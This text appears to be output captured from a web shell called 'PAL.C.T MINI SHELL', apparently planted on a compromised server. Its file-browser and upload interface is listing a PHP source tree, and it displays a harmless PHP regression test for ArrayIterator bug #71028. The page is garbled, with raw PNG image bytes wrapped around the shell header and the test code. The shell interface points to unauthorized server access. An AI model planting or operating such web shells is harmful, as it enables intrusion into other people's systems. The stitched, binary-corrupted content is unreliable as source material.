php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/ext/spl/tests/
upload
files >> //php-7.1.11/ext/spl/tests/bug71028.phpt

--TEST--
Bug #71028 (Undefined index with ArrayIterator)
--FILE--
<?php
function cast(&$a) {
		$a = (int)$a;
}

$a = new ArrayIterator;
$a[-1] = 123;

$b = "-1";
cast($b);

var_dump(isset($a[$b]));
$a[$b] = "okey";
var_dump($a[$b]);
unset($a[$b]);
var_dump(isset($a[$b]));
?>
--EXPECT--
bool(true)
string(4) "okey"
bool(false)
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`